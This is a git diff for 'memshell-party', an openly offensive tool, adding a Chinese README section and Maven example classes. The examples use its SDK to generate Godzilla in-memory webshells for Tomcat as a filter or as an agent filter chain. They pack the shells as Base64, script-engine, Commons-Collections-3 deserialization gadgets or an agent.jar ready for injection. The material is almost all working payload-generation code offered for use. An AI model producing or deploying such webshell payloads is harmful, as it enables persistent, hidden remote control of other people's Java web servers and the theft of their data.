diff --git a/README.md b/README.md index 0e9f9e9b..371abe14 100644 --- a/README.md +++ b/README.md @@ -71,6 +71,97 @@ docker rm -f memshell-party docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest ``` +### SDK 集成到现有工具中 + +> 适合集成到已有工具中,实现内存马 payload 的生成,支持 JDK8 以上版本,v1.7.0 开始支持 + +1. 添加依赖,Maven Or Gradle + +```xml + + + io.github.reajason + generator + 1.7.0 + +``` + +```groovy +// Gradle Repo +implementation 'io.github.reajason:generator:1.7.0' +``` + +2. 生成 Tomcat Godzilla Filter 内存马示例 + +```java +ShellConfig shellConfig = ShellConfig.builder() + .server(Server.Tomcat) + .shellTool(ShellTool.Godzilla) + .shellType(ShellType.FILTER) + .shrink(true) // 缩小字节码 + .debug(false) // 关闭调试 + .build(); + +InjectorConfig injectorConfig = InjectorConfig.builder() +// .urlPattern("/*") // 自定义 urlPattern,默认就是 /* +// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成 +// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成 + .build(); + +GodzillaConfig godzillaConfig = GodzillaConfig.builder() +// .pass("pass") +// .key("key") +// .headerName("User-Agent") +// .headerValue("test") + .build(); + +GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig); + +System.out.println("注入器类名:"+result.getInjectorClassName()); +System.out.println("内存马类名:"+result.getShellClassName()); + +System.out.println(result.getShellConfig()); +System.out.println(result.getShellToolConfig()); + +System.out.println("Base64 打包:"+Packers.Base64.getInstance().pack(result)); +System.out.println("脚本引擎打包:"+Packers.ScriptEngine.getInstance().pack(result)); +``` +3. 生成 Tomcat Godzilla AgentFilterChain 示例 +```java +ShellConfig shellConfig = ShellConfig.builder() + .server(Server.Tomcat) + .shellTool(ShellTool.Godzilla) + .shellType(ShellType.AGENT_FILTER_CHAIN) + .shrink(true) // 缩小字节码 + .debug(false) // 关闭调试 + .build(); + +InjectorConfig injectorConfig = InjectorConfig.builder() +// .urlPattern("/*") // 自定义 urlPattern,默认就是 /* +// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成 +// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成 + .build(); + +GodzillaConfig godzillaConfig = GodzillaConfig.builder() +// .pass("pass") +// .key("key") +// .headerName("User-Agent") +// .headerValue("test") + .build(); + +GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig); + +System.out.println("注入器类名:" + result.getInjectorClassName()); +System.out.println("内存马类名:" + result.getShellClassName()); + +System.out.println(result.getShellConfig()); +System.out.println(result.getShellToolConfig()); + +byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result); +Files.write(Paths.get("agent.jar"), agentJarBytes); +``` +4. 封装统一生成接口可参考 [GeneratorController.java](boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java) + ## 适配情况 已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21 diff --git a/examples/memshell-party-maven-example/pom.xml b/examples/memshell-party-maven-example/pom.xml new file mode 100644 index 00000000..44c36c0d --- /dev/null +++ b/examples/memshell-party-maven-example/pom.xml @@ -0,0 +1,25 @@ + + + 4.0.0 + + com.reajason.javaweb.maven + memshell-party-maven-example + 1.0-SNAPSHOT + + + 8 + 8 + UTF-8 + + + + + io.github.reajason + generator + 1.0.4 + + + + \ No newline at end of file diff --git a/examples/memshell-party-maven-example/src/main/java/com/reajason/javaweb/Godzilla.java b/examples/memshell-party-maven-example/src/main/java/com/reajason/javaweb/Godzilla.java new file mode 100644 index 00000000..c63aff92 --- /dev/null +++ b/examples/memshell-party-maven-example/src/main/java/com/reajason/javaweb/Godzilla.java @@ -0,0 +1,50 @@ +package com.reajason.javaweb; + +import com.reajason.javaweb.memshell.*; +import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.config.GodzillaConfig; +import com.reajason.javaweb.memshell.config.InjectorConfig; +import com.reajason.javaweb.memshell.config.ShellConfig; + +/** + * @author ReaJason + * @since 2025/4/6 + */ +public class Godzilla { + public static void main(String[] args) { + ShellConfig shellConfig = ShellConfig.builder() + .server(Server.Tomcat) + .shellTool(ShellTool.Godzilla) + .shellType(ShellType.FILTER) + .shrink(true) // 缩小字节码 + .debug(false) // 关闭调试 + .build(); + + InjectorConfig injectorConfig = InjectorConfig.builder() +// .urlPattern("/*") // 自定义 urlPattern,默认就是 /* +// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成 +// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成 + .build(); + + GodzillaConfig godzillaConfig = GodzillaConfig.builder() +// .pass("pass") +// .key("key") +// .headerName("User-Agent") +// .headerValue("test") + .build(); + + GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig); + + System.out.println("注入器类名:" + result.getInjectorClassName()); + System.out.println("内存马类名:" + result.getShellClassName()); + + System.out.println(result.getShellConfig()); + System.out.println(result.getShellToolConfig()); + + System.out.println("Base64 打包:" + Packers.Base64.getInstance().pack(result)); + + System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result)); + + System.out.println("CC3 打包:" + Packers.JavaCommonsCollections3.getInstance().pack(result)); + } +} diff --git a/examples/memshell-party-maven-example/src/main/java/com/reajason/javaweb/GodzillaAgent.java b/examples/memshell-party-maven-example/src/main/java/com/reajason/javaweb/GodzillaAgent.java new file mode 100644 index 00000000..73472a33 --- /dev/null +++ b/examples/memshell-party-maven-example/src/main/java/com/reajason/javaweb/GodzillaAgent.java @@ -0,0 +1,52 @@ +package com.reajason.javaweb; + +import com.reajason.javaweb.memshell.*; +import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.config.GodzillaConfig; +import com.reajason.javaweb.memshell.config.InjectorConfig; +import com.reajason.javaweb.memshell.config.ShellConfig; +import com.reajason.javaweb.memshell.packer.jar.JarPacker; + +import java.nio.file.Files; +import java.nio.file.Paths; + +/** + * @author ReaJason + * @since 2025/4/6 + */ +public class GodzillaAgent { + + public static void main(String[] args) throws Exception { + ShellConfig shellConfig = ShellConfig.builder() + .server(Server.Tomcat) + .shellTool(ShellTool.Godzilla) + .shellType(ShellType.AGENT_FILTER_CHAIN) + .shrink(true) // 缩小字节码 + .debug(false) // 关闭调试 + .build(); + + InjectorConfig injectorConfig = InjectorConfig.builder() +// .urlPattern("/*") // 自定义 urlPattern,默认就是 /* +// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成 +// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成 + .build(); + + GodzillaConfig godzillaConfig = GodzillaConfig.builder() +// .pass("pass") +// .key("key") +// .headerName("User-Agent") +// .headerValue("test") + .build(); + + GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig); + + System.out.println("注入器类名:" + result.getInjectorClassName()); + System.out.println("内存马类名:" + result.getShellClassName()); + + System.out.println(result.getShellConfig()); + System.out.println(result.getShellToolConfig()); + + byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result); + Files.write(Paths.get("agent.jar"), agentJarBytes); + } +}